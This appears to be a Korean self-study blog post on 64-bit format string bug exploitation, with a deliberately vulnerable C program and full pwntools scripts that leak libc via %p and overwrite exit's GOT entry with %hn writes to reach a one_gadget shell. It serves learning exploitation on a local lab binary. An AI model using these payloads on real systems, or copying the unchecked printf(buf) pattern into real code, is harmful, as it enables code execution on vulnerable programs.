Tech/exploit

64bit Format String Bug

지금까지 미뤄뒀던 fsb 쪽을 공부해보았다.

아직 많이 미흡하지만 이후에도 여러 문제를 풀면서 여러 정보를 추가할 예정이다.

Format String Bug

FSB(Format String Bug) : 포맷 스트링 버그는 취약점 공격에 사용될 수 있는 보안 취약점이며, 포맷팅을 수행하는 printf() 같은 특정한 C 함수들에서 사용자 입력을 포맷 스트링 파라미터 (%d, %n ...)로 사용하는 것으로부터 나온다.

  • 피라미터 종류

위와 같은 피라미터를 입력하면 어떤 일이 일어나는지 예제를 통해 알아보려 한다.

 

TEST CODE

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
​
int main(void)
{
    char buf[300];
​
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
​
    printf("input: ");
    read(0, buf, 300);
    printf(buf);
    exit(0);
}

 

컴파일 후 프로그램을 실행하여 피라미터 값을 입력해본다.

[출력 결과]

입력해보면 위와 같은 출력 결과를 얻을 수 있다. (%lx = 8바이트 16진수 출력)

그렇다면 저 7ffec73d5790 이나 12c 값은 어디에 위치한 값을 출력하는 것인지 알아보자

 

[입력값]

위와 같이 A*8 와 %p를 10개 정도 입력을 해주었다.

A를 넣어준 것은 피라미터 값으로 인한 출력 중 내가 입력한 A값이 어디에 위치한 지 확인하려고 입력을 해준 것이다. (문제를 풀 때도 같은 방법으로 offset을 구한다.)

[출력 결과]

출력 결과를 알아보자면 먼저 입력한 A * 8개 가 출력이 되고 이후에 레지스터가 출력이 된다.

32bit 에서는 레지스터는 출력이 되지 않지만 64bit는 함수 호출 규약으로 인해 레지스터를 인자로 활용하기 때문에 레지스터 이후 스택이 출력된다. 참고로 %rdi, %rsi, %rdx, %rcx, %r8, %r9 순서로 출력된다.

 

레지스터 출력 이후 $rsp를 기준으로 차례대로 출력이된다.

%p로 rsp(0x7fffffffdf40) 출력 이후 rsp+8, rsp+16 ... 출력된다.

[스택 상황]

여기까지 피라미터 값을 이용하면 어떻게 출력이 되는지 알 수 있었다.

이를 이용하여 memory leak을 할 수 있지만 어떻게 공격까지 진행을 할 수 있을까? 이는 바로 %n을 이용하는 것이다.

%n = 출력한 문자열의 개수를 특정 메모리에 써준다.

 

간단한 예시

  • TEST CODE

    #include <stdio.h>
    ​
    int main(){
        int num=0, num2 = 0;
        printf("Size Check%n Test Case!!!!%n\n", &num, &num2);
        printf("size num : %d\nsize num2 : %d\n", num, num2);
    }

위와 같은 코드를 컴파일하여 실행해보면 결과는 다음과 같다.

[출력 결과]

num에는 Size Check 총 10이 저장되었고 num2에는 Size Check Test Case!!!! 총 24가 저장되어 출력된 것을 확인할 수 있다.

이 %n은 다음과 같이 이용할 수 있다.

다음 그림은 이전 A*8개 입력 대신 exit_got주소를 입력했을 때 그림으로 표현한 것이다.

이 때 %6$n을 입력했다면 exit_got주소에 출력된 문자만큼 입력이 된다. 공격 과정에서는 이를 이용하여 원하는 곳에 overwrite를 진행하는 것이다.

 

Exploit

공격은 다음 코드로 진행한다.

  • TEST CODE

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    ​
    int main(void)
    {
        char buf[300];
    ​
        setvbuf(stdin, 0, 2, 0);
        setvbuf(stdout, 0, 2, 0);
    ​
        printf("input: ");
        read(0, buf, 300);
        printf(buf);
        exit(0);
    }

    gcc -no-pie -o fsb64 fsb64.c

Exploit Scenario

  1. 첫 번째 입력에서는 두 가지를 목표로 한다.
    • libc_start_main을 leak 하는 것으로 libc_base를 구한다.
    • exit_got를 main함수 주소로 overwrite 한다.
  2. libc_base를 이용하여 one_gadget 주소를 구한 뒤 exit_got에 one_gadget 주소를 overwrite 한다.

 

Exploit code

Libc_start_main leak

64bit FSB에서는 RET에 위치한 libc_start_main을 leak 하여 libc_base를 구한다.

[스택 상황]

0x7fffffffe060 = canary, 0x7fffffffe078 = RET인 것을 확인할 수 있고

[libc_start_main 주소]

0x7fffffffe078에 위치한 0x00007ffff7e15bbb값은 __libc_start_main에서 235를 더한 값인 것을 확인할 수 있다. 이를 leak 하여 libc_base를 구할 수 있는 것이다.

 

Exit_got overwrite

먼저 exit 함수의 got를 이용하는 이유는 exit 함수가 가장 마지막에 호출되어 이용하기 편하기 때문이다.

이는 함수가 호출되기 전 / 후의 got를 확인해보면 쉽게 알 수 있다.

[printf함수 호출 전 got]
[printf함수 호출 후 got]

위와 같이 호출 전에는 총 3바이트만 바꾸어 주면 되지만 호출 후에는 총 6바이트를 바꾸어 주어야 하기 때문에 exit의 got를 이용하는 것이다.

여기까지 내용을 간단하게 코드를 짜 보면 다음과 같다.

from pwn import *
context.log_level = 'debug'
p=process("./fsb64")
​
exit_got = 0x404030
main = 0x401152
libc_start_main_offset = 0x26ad0
​
main_low = main & 0xffff
​
#offset = 5
py = ''
py += '%{}c'.format(main_low)
py += '%9$hn'
py += '%47$p'
py += 'A'*(8-len(py)%8) #주소를 정확하게 지정하기 위해 패딩 처리를 해준다.
​
print len(py)
py += p64(exit_got)  # 64bit에서는 주소에 NULL이 포함되기 때문에 뒤에 써준다.
​
p.sendlineafter("input:", py)
​
p.recvuntil("0x")
leak = int(p.recvuntil("A")[:-1],16)
libc_base = leak - 235 - libc_start_main_offset
print hex(leak)
print hex(libc_base)
​
p.interactive()

 

 

[코드 실행 결과]

코드 실행으로 libc_base를 구하고 exit_got에 main 주소를 overwrite 해준 것으로 main이 다시 호출된 것을 확인할 수 있다.

 

One_gadget overwrite

libc_base를 구했으니 one_gadget을 구하는 것은 쉽지만 overwrite 할 때 주의할 점이 있다.

overwrite는 %hn으로 하위 2바이트씩 진행을 하는데 만약 0x7f1122334455 이라고 하면 먼저 0x4455를 %hn으로 써준 후 0x2233을 써줘야 할 텐데 0x4455가 0x2233보다 큼으로 0x10000을 0x2233에 더한 후 0x4455를 빼는 것으로 이를 해결할 수 있다.

반대로 0x7 f5544332211이라고 하면 0x2211을 써준 후 0x4433을 써줄 때는 0x4433-0x2211을 이용하여 써주면 된다.

%n이 아닌 %hn으로 2바이트씩 하는 이유는 4바이트는 너무 많은 시간이 걸려 2바이트씩 진행한다고 한다.

Exploit code

from pwn import *
# context.log_level = 'debug'
p=process("./fsb64")
​
exit_got = 0x404030
main = 0x401152
libc_start_main_offset = 0x26ad0
​
main_low = main & 0xffff
​
#offset = 6
py = ''
py += '%{}c'.format(main_low)
py += '%9$hn'
py += '%47$p'
py += 'A'*(8-len(py)%8)
​
print len(py)
py += p64(exit_got)
​
p.sendlineafter("input:", py)
​
p.recvuntil("0x")
leak = int(p.recvuntil("A")[:-1],16)
libc_base = leak - 235 - libc_start_main_offset
​
one_gadget = libc_base + 0xe652b #0xc83c0 #0xe652b
print hex(one_gadget)
​
one_gadget_low = one_gadget & 0xffff
one_gadget_middle = (one_gadget >> 16) & 0xffff
one_gadget_high = (one_gadget >> 32) & 0xffff
​
low = one_gadget_low
if one_gadget_middle > one_gadget_low:
    middle = one_gadget_middle - one_gadget_low
else:
    middle = 0x10000 + one_gadget_middle - one_gadget_low
​
if one_gadget_high > one_gadget_middle:
    high = one_gadget_high - one_gadget_middle
else:
    high = 0x10000 + one_gadget_high - one_gadget_middle
​
py2 = ''
py2 += '%{}c'.format(low)
py2 += '%11$hn'
py2 += '%{}c'.format(middle)
py2 += '%12$hn'
py2 += '%{}c'.format(high)
py2 += '%13$hn'
py2 += 'A'*(8-len(py2)%8)
print len(py2)
py2 += p64(exit_got)
py2 += p64(exit_got+2)
py2 += p64(exit_got+4)
p.sendlineafter("input:", py2)
p.interactive()

 

Reference

'Tech > exploit' 카테고리의 다른 글

exit함수를 이용한 exploit  (0) 2020.03.26